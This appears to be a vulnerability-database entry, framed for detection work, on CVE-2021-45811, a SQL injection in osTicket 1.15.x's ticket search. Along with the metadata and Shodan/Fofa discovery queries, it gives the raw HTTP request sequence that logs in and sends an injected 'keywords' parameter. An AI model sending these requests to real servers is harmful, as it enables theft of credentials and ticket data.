🔙 목록으로 돌아가기

CVE-2021-45811: osTicket 1.15.x - SQL Injection

TitleosTicket 1.15.x - SQL Injection
Authorritikchaddha
SeverityMedium
ImpactAuthenticated attackers can exploit SQL injection in the Search functionality to extract sensitive database contents including user credentials and ticket information.
RemediationUpgrade osTicket to later version to mitigate this vulnerability.
CVSS Score6.5
EPSS Score0.47409
CVE IDCVE-2021-45811
CWE IDCWE-89
Shodan Querytitle:"osTicket"
Fofa Querytitle="osticket"
Tags cve cve2021 osticket sqli authenticated vuln

🔍 Vulnerability Description

A SQL injection vulnerability in the “Search” functionality of “tickets.php” page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the “keywords” and “topic_id” URL parameters combination.

🌐 HTTP Request

GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

__CSRFToken__=QyfAhA&do=scplogin&userid=BmVN2H&passwd=3670UW&ajax=1
GET /tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45811.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-45811.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A